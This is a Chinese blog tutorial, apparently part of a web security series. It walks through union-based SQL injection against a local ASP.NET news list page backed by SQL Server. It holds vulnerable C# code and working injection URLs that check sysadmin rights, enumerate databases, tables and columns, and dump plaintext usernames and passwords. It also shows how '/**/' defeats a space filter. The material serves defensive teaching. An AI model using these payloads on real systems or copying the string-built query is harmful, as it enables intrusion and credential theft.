SQL注入是一個比較「古老」的話題,雖然如今存在這種漏洞的站點比較少了,咱們仍是有必要了解一下它的危害,及其經常使用的手段,知己知彼方能百戰不殆。進攻與防守至關於矛和盾的關係,咱們若是能清楚瞭解html
攻擊的全過程,就能夠更好的預防相似狀況的出現。sql
接着上篇,仍是新聞發佈系統,上篇演示的盲注,其實還有更簡單的辦法。上篇是重新聞詳細頁面入侵成功,在下面的測試中入侵者發現新聞列表頁面也存在相同的漏洞,呵呵呵,貌似從這裏入侵更方便些。數據庫
這裏測試環境跟上一篇相同, MSQL + asp.net 。新聞列表頁面代碼以下:安全
protected void Page_Load(object sender, EventArgs e) { try { var sql = string.Format("select * from news where categoryid ='{0}'" ,Request["cId"]); var ds = new DataSet(); var sqlCon = SqlHelper.GetConnection(); SqlHelper.FillDataset(sqlCon, CommandType.Text, sql, ds, null); ListView1.DataSource = ds.Tables[0]; ListView1.DataBind(); } catch (Exception ex) { } }
廢話少說,開始吧。下面是文章列表頁面地址: http://localhost:2003/index?cId=category1服務器
1. 確認用戶數據庫權限網絡
先看看當前用戶的數據庫服務器角色,架構
先普及一下,數據庫服務器角色見下表:asp.net
角色 | 描述 |
---|---|
sysadmin | 執行SQL Server中的任何動做(sa 權限) |
serveradmin | 配置服務器設置 |
setupadmin | 安裝複製和管理擴展過程 |
securityadmin | 管理登陸和CREATE DATABASE的權限以及閱讀審計 |
processadmin | 管理SQL Server進程 |
dbcreator | 建立和修改數據庫 |
diskadmin | 管理磁盤文件 |
bulkadmin | 能夠運行 Bulk insert 語句 |
確認用戶是否具備「數據庫服務器角色」 的語句爲 select IS_SRVROLEMEMBER('sysadmin') 返回 0 或 1,IS_SRVROLEMEMBER 函數詳細說明見: https://technet.microsoft.com/zh-cn/ms176015函數
若是您對數據庫權限體系不瞭解的話請移步 http://www.cnblogs.com/CareySon/archive/2012/04/10/mssql-security-principal.htmlpost
繼續,在URL中注入查看用戶數據庫服務器角色的語句 http://localhost:2003/index?cId=category1' and (select IS_SRVROLEMEMBER('sysadmin'))=1 --
哈哈哈,竟然是 sa帳號,下面就輕鬆了。
2. 看看新聞表查詢語句返回多少字段
要執行的語句 select * from news where categoryid ='category1' order by 3
在URL裏輸入 http://localhost:2003/index?cId=category1' order by 3 --
頁面顯示正常,說明表字段至少有3個,繼續嘗試當輸入 http://localhost:2003/index?cId=category1' order by 6 --
時頁面數據丟失,說明新聞表查詢語句返回5個字段。爲何要知道它返回多少字段,別急,下面咱們就要用的着。
3. 查詢數據庫列表
MSQL 數據庫都存放在 master 表裏 ,查詢語句 select [name] from master.dbo.sysdatabases order by [name] 由於是跨庫查詢 全部要使用 master.dbo.sysdatabases
那麼查詢出來的數據怎麼作頁面上顯示出來呢,有辦法使用 union 語句,而 union 語句 返回的字段數和類型必須跟 前面的查詢語句返回字段相同,第2步工做就派上用場了,返回5個字段
並且同過 上一篇文章 WEB 安全之 SQL注入一 咱們已經知道文章ID爲數字類型,列表裏面 標題、建立日期 的類型也很好判斷,5個字段知道3個字段的字段類型了,其餘2個只能試試了,暫且認爲都是字符串類型吧
那麼咱們構造查詢語句 試試 select * from news where categoryid ='category1' union select 1,[name],'2016-11-18','4','5' from master.dbo.sysdatabases
固然若是想把新聞數據去掉 (where categoryid ='category1' and 1=2 union ) 構造此查詢語句須要在URL裏輸入
http://localhost:2003/index?cId=category1' union select 1,[name],'2016-11-18','4','5' from master.dbo.sysdatabases --
不能夠,沒有數據返回,估計建立日期列的位置不對,或者其餘有那一個字段類型不對這裏是考驗入侵者耐心的地方多試幾回,直到輸入
http://localhost:2003/index?cId=category1' union' select' 1,[name],'3','2016-11-18','5' from master.dbo.sysdatabases --
,注意看下面的數據庫列表,個人截圖裏只把 master 數據庫顯示出來,其餘沒截取,呵呵呵又突破一層。
4. 查詢數據庫裏包含的表
數據庫羅列出來,下面咱們就要看如何查詢數據庫裏包含的表了,查詢語句 SELECT Name FROM 數據庫名.架構名.SysObjects Where XType='U'
根據平常的經驗,架構名 能夠說 80%以上的數據庫裏 都是默認架構 dbo,咱們就構造一條語句爆出它的表名。(假設咱們第3步根據返回的數據庫列表已經確認本系統的數據庫名,怎麼確認不在此討論範圍內,本示例數據庫名爲 SqlLinjection)
攻擊者須要構造後的語句 select * from news where categoryid ='category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SqlLinjection.dbo.SysObjects Where XType='U' (前面咱們已經知道 新聞列表查詢語句返回字段類型了)
這一步比較簡單 URL輸入 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SqlLinjection.dbo.SysObjects Where XType='U
能夠確認 2張表 news 、user
5. 查詢用戶表字段
最終目標就要達成了,表字段查詢語句 SELECT Name FROM SysColumns WHERE id=Object_Id('user') ,要爆出字段一樣要用到萬惡的 union 語句
攻擊者構造以下語句 select * from news where categoryid ='category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SysColumns WHERE id=Object_Id('user') 又是 union
攻擊者在URL裏面輸入 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1,Name,'3','2016-11-18','5' FROM SysColumns WHERE id=Object_Id('user') --
字段都出來了,4個字段,攻擊者最關心的就是 name、pwd
6. 爆密碼、用戶名
爆 用戶名,密碼 語句 select * from news where categoryid ='category1' and 1=2 union SELECT 1, Name + '<>'+pwd,'3','2016-11-18','5' FROM [user] 其中用 '<>' 分割用戶名密碼
URL裏輸入 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1, Name + '<>' + pwd,'3','2016-11-18','5' FROM [user] -- 奇怪沒達到預期目的,數據顯示不出來,問題出如今 + 上。
URL 會把加號轉換爲空格的,轉義一下 用 "2B%"替換就能夠了 http://localhost:2003/index?cId=category1' and 1=2 union SELECT 1, Name%2b'<>'%2bpwd,'3','2016-11-18','5' FROM [user] --
用戶名密碼拿到了,密碼仍是明文的,這是相比較盲注的另外一種注入方式。
7.繞過空格限制
話說攻擊者入侵後,管理員經過查看日誌發現異常
小樣,我把空空格給你過濾掉不就能夠了嗎?修改後臺代碼
public partial class index : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { try { var id = Request["cId"]; if (IsContainsSpaces(id)) { Response.Write("悟空,又調皮了!"); Response.End(); } var sql = string.Format("select * from news where categoryid ='{0}'" ,id); var ds = new DataSet(); var sqlCon = SqlHelper.GetConnection(); SqlHelper.FillDataset(sqlCon, CommandType.Text, sql, ds, null); ListView1.DataSource = ds.Tables[0]; ListView1.DataBind(); } catch (Exception ex) { } } private bool IsContainsSpaces(string str) { var reg = new Regex(@"[\s]+"); return reg.IsMatch(str.Trim()); } }
攻擊者還有其餘方法繞過去的 URL裏輸入 http://localhost:833/index?cId=category1'/**/and/**/1=1/**/--
呵呵呵,空格是能夠用 /**/ 來代替的
結束語:知恥然後勇 知不足而奮進。 拒絕漏洞從我作起,網絡安全程序猿有責。